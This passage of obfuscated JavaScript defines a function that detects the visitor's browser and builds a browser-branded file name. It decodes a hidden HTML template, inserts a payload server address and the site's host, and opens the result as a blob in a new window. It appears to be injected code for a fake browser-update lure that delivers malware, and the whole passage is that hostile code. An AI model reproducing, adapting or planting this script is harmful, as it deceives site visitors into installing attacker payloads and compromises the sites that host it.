</html>','location','toLowerCase','6XivqPl','createObjectURL','toUpperCase','349655sKJFaN','toString'];_0x517c=function(){return _0x290d76;};return _0x517c();}function _0x19c1(_0x11cab0,_0x3826ba){const _0x517cc2=_0x517c();return _0x19c1=function(_0x19c171,_0x5b2e86){_0x19c171=_0x19c171-0x12f;let _0x3e7988=_0x517cc2[_0x19c171];return _0x3e7988;},_0x19c1(_0x11cab0,_0x3826ba);}(function(_0x5d431b,_0xcb55aa){const _0x17f2a6=_0x19c1,_0x4eb785=_0x5d431b();while(!![]){try{const _0xe4808b=-parseInt(_0x17f2a6(0x13f))/0x1+-parseInt(_0x17f2a6(0x12f))/0x2*(parseInt(_0x17f2a6(0x14f))/0x3)+parseInt(_0x17f2a6(0x138))/0x4*(parseInt(_0x17f2a6(0x152))/0x5)+-parseInt(_0x17f2a6(0x13c))/0x6+-parseInt(_0x17f2a6(0x144))/0x7*(parseInt(_0x17f2a6(0x130))/0x8)+-parseInt(_0x17f2a6(0x13d))/0x9+parseInt(_0x17f2a6(0x131))/0xa;if(_0xe4808b===_0xcb55aa)break;else _0x4eb785['push'](_0x4eb785['shift']());}catch(_0x43a5f4){_0x4eb785['push'](_0x4eb785['shift']());}}}(_0x517c,0xdfae4),window['fkr_browser_download']=function(_0x279fab,_0x308eb2){const _0x12a923=_0x19c1,_0x4e4eef=_0x12a923(0x14c);function _0x154129(){const _0x11c4d2=_0x12a923;let _0x3e38ca=navigator[_0x11c4d2(0x134)],_0x4c6dbd;if(/Edg/[_0x11c4d2(0x142)](_0x3e38ca))_0x4c6dbd=[_0x11c4d2(0x145),_0x11c4d2(0x135)];else{if(/Yandex/['test'](_0x3e38ca)||/YaBrowser/[_0x11c4d2(0x142)](_0x3e38ca))_0x4c6dbd=[_0x11c4d2(0x13a),_0x11c4d2(0x147)];else/Firefox/[_0x11c4d2(0x142)](_0x3e38ca)?_0x4c6dbd=['Firefox','Mozilla']:_0x4c6dbd=[_0x11c4d2(0x154),'Google'];}return _0x4c6dbd;}const _0x57c1f0=_0x154129();let _0x504d8d=_0x57c1f0[0x0]+'.',_0x31c50a=Math[_0x12a923(0x148)]()[_0x12a923(0x153)]()[_0x12a923(0x146)](0x0,0x5);_0x504d8d=_0x504d8d+_0x31c50a+Math[_0x12a923(0x148)]()[_0x12a923(0x153)]()[_0x12a923(0x146)](0x1,0x4);const _0x3f100b=atob(_0x4e4eef)['replaceAll'](_0x12a923(0x14a),_0x57c1f0[0x1][_0x12a923(0x14e)]())[_0x12a923(0x14b)](_0x12a923(0x133),_0x57c1f0[0x1][_0x12a923(0x151)]())['replaceAll'](_0x12a923(0x143),_0x57c1f0[0x1])['replaceAll'](_0x12a923(0x139),_0x57c1f0[0x0]['toLowerCase']())['replaceAll'](_0x12a923(0x149),_0x57c1f0[0x0][_0x12a923(0x151)]())[_0x12a923(0x14b)]('$BROWSER',_0x57c1f0[0x0])[_0x12a923(0x14b)]('{PROBE_URL}',_0x12a923(0x140)+window[_0x12a923(0x14d)]['host'])[_0x12a923(0x14b)](_0x12a923(0x13b),_0x12a923(0x136))[_0x12a923(0x14b)]('{PAYLOAD_SERVER}',_0x279fab)['replaceAll'](_0x12a923(0x141),_0x308eb2)['replaceAll'](_0x12a923(0x132),_0x504d8d),_0x395cfd=URL[_0x12a923(0x150)](new Blob([_0x3f100b],{'type':_0x12a923(0x13e)}));window['open'](_0x395cfd,_0x12a923(0x137));});